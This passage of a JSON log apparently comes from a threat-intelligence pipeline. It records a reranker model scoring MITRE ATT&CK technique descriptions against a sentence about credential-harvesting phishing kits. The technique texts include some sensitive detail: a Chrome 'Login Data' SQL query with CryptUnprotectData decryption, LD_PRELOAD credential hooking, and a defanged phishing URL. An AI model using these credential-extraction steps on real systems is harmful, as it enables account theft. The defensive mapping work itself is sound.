for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1036.010", + "text": "ATT&CK technique: T1036.010 Masquerade Account Name\nDescription: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name. Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery. Note that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\nTactics: stealth\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1649", + "text": "ATT&CK technique: T1649 Steal or Forge Authentication Certificates\nDescription: Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts. Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names. Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts. Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1056.004", + "text": "ATT&CK technique: T1056.004 Credential API Hooking\nDescription: Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. In Windows, hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. In Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1606.001", + "text": "ATT&CK technique: T1606.001 Web Cookies\nDescription: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Linux, SaaS, Windows, macOS" + }, + { + "id": "T1589.003", + "text": "ATT&CK technique: T1589.003 Employee Names\nDescription: Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1204.004", + "text": "ATT&CK technique: T1204.004 Malicious Copy and Paste\nDescription: An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. Malicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine. Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy. Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1558.005", + "text": "ATT&CK technique: T1558.005 Ccache Files\nDescription: Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. The /etc/krb5.conf configuration file and the KRB5CCNAME environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using kinit, which obtains a Ticket-Granting-Ticket (TGT) for the principal; klist, which lists obtained tickets currently held in the credentials cache; and other built-in binaries. Adversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform Pass the Ticket attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform Privilege Escalation. Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further Lateral Movement. On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.\nTactics: credential access\nPlatforms: Linux, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1566", + "score": 0.9921875, + "rank": 0 + }, + { + "item_id": "T1684", + "score": 0.9609375, + "rank": 1 + }, + { + "item_id": "T1111", + "score": 0.94921875, + "rank": 2 + }, + { + "item_id": "T1598.003", + "score": 0.93359375, + "rank": 3 + }, + { + "item_id": "T1598", + "score": 0.9140625, + "rank": 4 + }, + { + "item_id": "T1589.001", + "score": 0.875, + "rank": 5 + }, + { + "item_id": "T1598.002", + "score": 0.73046875, + "rank": 6 + }, + { + "item_id": "T1589", + "score": 0.70703125, + "rank": 7 + }, + { + "item_id": "T1140", + "score": 0.65234375, + "rank": 8 + }, + { + "item_id": "T1598.001", + "score": 0.37890625, + "rank": 9 + }, + { + "item_id": "T1566.004", + "score": 0.26953125, + "rank": 10 + }, + { + "item_id": "T1056", + "score": 0.255859375, + "rank": 11 + }, + { + "item_id": "T1621", + "score": 0.2333984375, + "rank": 12 + }, + { + "item_id": "T1588.005", + "score": 0.173828125, + "rank": 13 + }, + { + "item_id": "T1204.002", + "score": 0.1640625, + "rank": 14 + }, + { + "item_id": "T1204", + "score": 0.15625, + "rank": 15 + }, + { + "item_id": "T1556.006", + "score": 0.1474609375, + "rank": 16 + }, + { + "item_id": "T1588", + "score": 0.140625, + "rank": 17 + }, + { + "item_id": "T1566.001", + "score": 0.1328125, + "rank": 18 + }, + { + "item_id": "T1683.001", + "score": 0.1005859375, + "rank": 19 + }, + { + "item_id": "T1588.001", + "score": 0.09033203125, + "rank": 20 + }, + { + "item_id": "T1566.003", + "score": 0.07568359375, + "rank": 21 + }, + { + "item_id": "T1566.002", + "score": 0.06787109375, + "rank": 22 + }, + { + "item_id": "T1608.005", + "score": 0.047607421875, + "rank": 23 + }, + { + "item_id": "T1059", + "score": 0.0419921875, + "rank": 24 + }, + { + "item_id": "T1204.004", + "score": 0.0419921875, + "rank": 25 + }, + { + "item_id": "T1114", + "score": 0.039306640625, + "rank": 26 + }, + { + "item_id": "T1684.001", + "score": 0.039306640625, + "rank": 27 + }, + { + "item_id": "T1587", + "score": 0.03759765625, + "rank": 28 + }, + { + "item_id": "T1534", + "score": 0.03759765625, + "rank": 29 + }, + { + "item_id": "T1586.002", + "score": 0.035400390625, + "rank": 30 + }, + { + "item_id": "T1598.004", + "score": 0.033203125, + "rank": 31 + }, + { + "item_id": "T1586", + "score": 0.0242919921875, + "rank": 32 + }, + { + "item_id": "T1204.005", + "score": 0.013427734375, + "rank": 33 + }, + { + "item_id": "T1585.002", + "score": 0.0111083984375, + "rank": 34 + }, + { + "item_id": "T1593.001", + "score": 0.006744384765625, + "rank": 35 + }, + { + "item_id": "T1539", + "score": 0.006317138671875, + "rank": 36 + }, + { + "item_id": "T1657", + "score": 0.004364013671875, + "rank": 37 + }, + { + "item_id": "T1098.005", + "score": 0.00408935546875, + "rank": 38 + }, + { + "item_id": "T1586.001", + "score": 0.00384521484375, + "rank": 39 + }, + { + "item_id": "T1036", + "score": 0.003387451171875, + "rank": 40 + }, + { + "item_id": "T1606", + "score": 0.0031890869140625, + "rank": 41 + }, + { + "item_id": "T1213.004", + "score": 0.00299072265625, + "rank": 42 + }, + { + "item_id": "T1591.004", + "score": 0.00299072265625, + "rank": 43 + }, + { + "item_id": "T1134.001", + "score": 0.0023956298828125, + "rank": 44 + }, + { + "item_id": "T1078", + "score": 0.0018157958984375, + "rank": 45 + }, + { + "item_id": "T1583", + "score": 0.0017547607421875, + "rank": 46 + }, + { + "item_id": "T1593.002", + "score": 0.00150299072265625, + "rank": 47 + }, + { + "item_id": "T1528", + "score": 0.00141143798828125, + "rank": 48 + }, + { + "item_id": "T1584.006", + "score": 0.0013275146484375, + "rank": 49 + }, + { + "item_id": "T1555", + "score": 0.00124359130859375, + "rank": 50 + }, + { + "item_id": "T1589.003", + "score": 0.00113677978515625, + "rank": 51 + }, + { + "item_id": "T1105", + "score": 0.00102996826171875, + "rank": 52 + }, + { + "item_id": "T1056.003", + "score": 0.00096893310546875, + "rank": 53 + }, + { + "item_id": "T1597.002", + "score": 0.00096893310546875, + "rank": 54 + }, + { + "item_id": "T1591", + "score": 0.00096893310546875, + "rank": 55 + }, + { + "item_id": "T1550.004", + "score": 0.000858306884765625, + "rank": 56 + }, + { + "item_id": "T1555.003", + "score": 0.000804901123046875, + "rank": 57 + }, + { + "item_id": "T1606.001", + "score": 0.000732421875, + "rank": 58 + }, + { + "item_id": "T1550", + "score": 0.000667572021484375, + "rank": 59 + }, + { + "item_id": "T1134.003", + "score": 0.000606536865234375, + "rank": 60 + }, + { + "item_id": "T1552.008", + "score": 0.00058746337890625, + "rank": 61 + }, + { + "item_id": "T1110.004", + "score": 0.00057220458984375, + "rank": 62 + }, + { + "item_id": "T1056.002", + "score": 0.00057220458984375, + "rank": 63 + }, + { + "item_id": "T1217", + "score": 0.000518798828125, + "rank": 64 + }, + { + "item_id": "T1005", + "score": 0.000335693359375, + "rank": 65 + }, + { + "item_id": "T1087", + "score": 0.0002956390380859375, + "rank": 66 + }, + { + "item_id": "T1110", + "score": 0.000278472900390625, + "rank": 67 + }, + { + "item_id": "T1557", + "score": 0.0002460479736328125, + "rank": 68 + }, + { + "item_id": "T1649", + "score": 0.0002307891845703125, + "rank": 69 + }, + { + "item_id": "T1550.001", + "score": 0.00019073486328125, + "rank": 70 + }, + { + "item_id": "T1056.004", + "score": 0.00011587142944335938, + "rank": 71 + }, + { + "item_id": "T1082", + "score": 7.486343383789062e-05, + "rank": 72 + }, + { + "item_id": "T1036.010", + "score": 6.198883056640625e-05, + "rank": 73 + }, + { + "item_id": "T1558.005", + "score": 5.841255187988281e-05, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 30328 + } + }, + "evidence_sha256": "a05aaf6dabbd4d36f4a83d7496aef996b34346cafbb0fd309203050ed4266ba3" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 828.4, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: At their core these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords." + }, + "items": [ + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: | https://storage[.]cloud[.]google[.]com/dhngw6p6rwrwnuv6vnuse.appspot.com/index.html#username@organizationname.tld | Microsoft Credential Theft Phishing URL |" + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: Ares Stealer collects detailed system information and harvests credentials for numerous applications including FTP clients, VPN clients, web browsers, instant messengers, and email clients." + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * Collects login and passwords, cookies, autocomplete fields, credit cards" + }, + { + "id": "T1555.003", + "text": "ATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS\nLabeled report example: | T1503 | Credentials from Web Browsers |" + }, + { + "id": "T1110", + "text": "ATT&CK technique: T1110 Brute Force\nDescription: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access. If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Additionally, credential information can come from logs tied to infostealer malware, password spraying or other credential marketplaces in the criminal underground." + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Skimming is a technique by which cybercriminals steal credit card information from e-commerce sites and other internet payment portals." + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: The group selling Taurus claims that this stealer is capable of stealing passwords, cookies, and autofill forms along with the history of Chromium- and Gecko-based browsers." + }, + { + "id": "T1114", + "text": "ATT&CK technique: T1114 Email Collection\nDescription: Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.\nTactics: collection\nPlatforms: Linux, Office Suite, Windows, macOS\nLabeled report example: * Email password stealer (MailPassView)" + }, + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla." + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: * Stealing session files from applications, including Discord, Steam, Telegram, and Authy" + }, + { + "id": "T1005", + "text": "ATT&CK technique: T1005 Data from Local System\nDescription: Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.\nTactics: collection\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: The findstr command returns any matching lines which could collect usernames and passwords from the computer." + }, + { + "id": "T1563", + "text": "ATT&CK technique: T1563 Remote Service Session Hijacking\nDescription: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, Windows, macOS\nLabeled report example: While applying security patches is always important, most RDP-based attacks rely on cracking weak credentials, so passwords should be long, unique, and random." + }, + { + "id": "T1115", + "text": "ATT&CK technique: T1115 Clipboard Data\nDescription: Adversaries may collect data stored in the clipboard from users copying information within or between applications. For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation). macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Cybercriminals use this RAT to steal user credentials and spy on victims through screenshots, keyboard logging, and clipboard capturing." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: *Figure 11: Credential-phishing landing page to steal Office 365 credentials*" + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1113", + "text": "ATT&CK technique: T1113 Screen Capture\nDescription: Adversaries may attempt to take 